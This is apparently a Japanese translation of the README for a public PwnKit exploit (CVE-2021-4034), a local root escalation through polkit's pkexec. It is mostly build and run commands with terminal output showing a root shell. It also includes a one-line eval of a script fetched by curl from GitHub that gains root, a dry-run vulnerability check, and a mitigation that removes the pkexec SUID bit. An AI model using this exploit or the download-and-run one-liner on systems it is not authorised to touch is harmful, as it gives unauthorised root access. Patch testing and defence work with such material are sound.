berdav/cve-2021-4034CVE-2021-4034 1day
polkit権限昇格エクスプロイトのワンデイ
make を実行し、./cve-2021-4034 を実行するだけで、rootシェルを手に入れられます。
実際の作者による元のアドバイザリはこちら
エクスプロイトが正常に動作すると、すぐにrootシェルが得られます：
vagrant@ubuntu-impish:~/CVE-2021-4034$ make
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall cve-2021-4034.c -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp /usr/bin/true GCONV_PATH=./pwnkit.so:.
vagrant@ubuntu-impish:~/CVE-2021-4034$ ./cve-2021-4034
# whoami
root
# exit
ほとんどのシステムでpolkitを更新すると、エクスプロイトが修正されるため、使用方法が表示され、プログラムは終了します：
vagrant@ubuntu-impish:~/CVE-2021-4034$ ./cve-2021-4034
pkexec --version |
--help |
--disable-internal-agent |
[--user username] PROGRAM [ARGUMENTS...]
See the pkexec manual page for more details.
vagrant@ubuntu-impish:~/CVE-2021-4034$
シェルを実行せず、システムが脆弱かどうかだけをテストするには、dry-run ターゲットをコンパイルします。
プログラムが "root" と表示して終了する場合、システムがエクスプロイトに対して脆弱であることを意味します。
vagrant@ubuntu-impish:~/CVE-2021-4034$ make dry-run
...
vagrant@ubuntu-impish:~/CVE-2021-4034$ dry-run/dry-run-cve-2021-4034
root
vagrant@ubuntu-impish:~/CVE-2021-4034$ echo $?
1
システムが脆弱でない場合は、エラーを表示して終了します。
vagrant@ubuntu-impish:~/CVE-2021-4034$ dry-run/dry-run-cve-2021-4034
pkexec --version |
--help |
--disable-internal-agent |
[--user username] PROGRAM [ARGUMENTS...]
See the pkexec manual page for more details.
vagrant@ubuntu-impish:~/CVE-2021-4034$ echo $?
0
Polkit（旧称PolicyKit）は、Unix系オペレーティングシステムにおけるシステム全体の権限を制御するコンポーネントです。非特権プロセスが特権プロセスと通信するための体系的な方法を提供します。また、pkexecコマンドの後に実行したいコマンド（root権限で）を続けることで、昇格した権限でコマンドを実行するためにもPolkitを使用できます。
以下のコマンドでダウンロードして実行できる単一のスクリプトを使用して、システムを簡単にエクスプロイトできます：
eval "$(curl -s https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/cve-2021-4034.sh)"
vagrant@ubuntu-impish:~/CVE-2021-4034$ whoami
vagrant
vagrant@ubuntu-impish:~/CVE-2021-4034$ eval "$(curl -s https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/cve-2021-4034.sh)"
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall cve-2021-4034.c -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp -f /usr/bin/true GCONV_PATH=./pwnkit.so:.
# whoami
root
オペレーティングシステムにパッチが利用できない場合は、一時的な緩和策としてpkexecからSUIDビットを削除できます。
# chmod 0755 /usr/bin/pkexec
その後、エクスプロイトは pkexec にsetuidビットが有効でなければならないと文句を言って失敗します。
vagrant@ubuntu-impish:/vagrant/CVE-2021-4034$ sudo chmod 0755 /usr/bin/pkexec
vagrant@ubuntu-impish:/vagrant/CVE-2021-4034$ ./cve-2021-4034
GLib: Cannot convert message: Could not open converter from “UTF-8” to “PWNKIT”
pkexec must be setuid root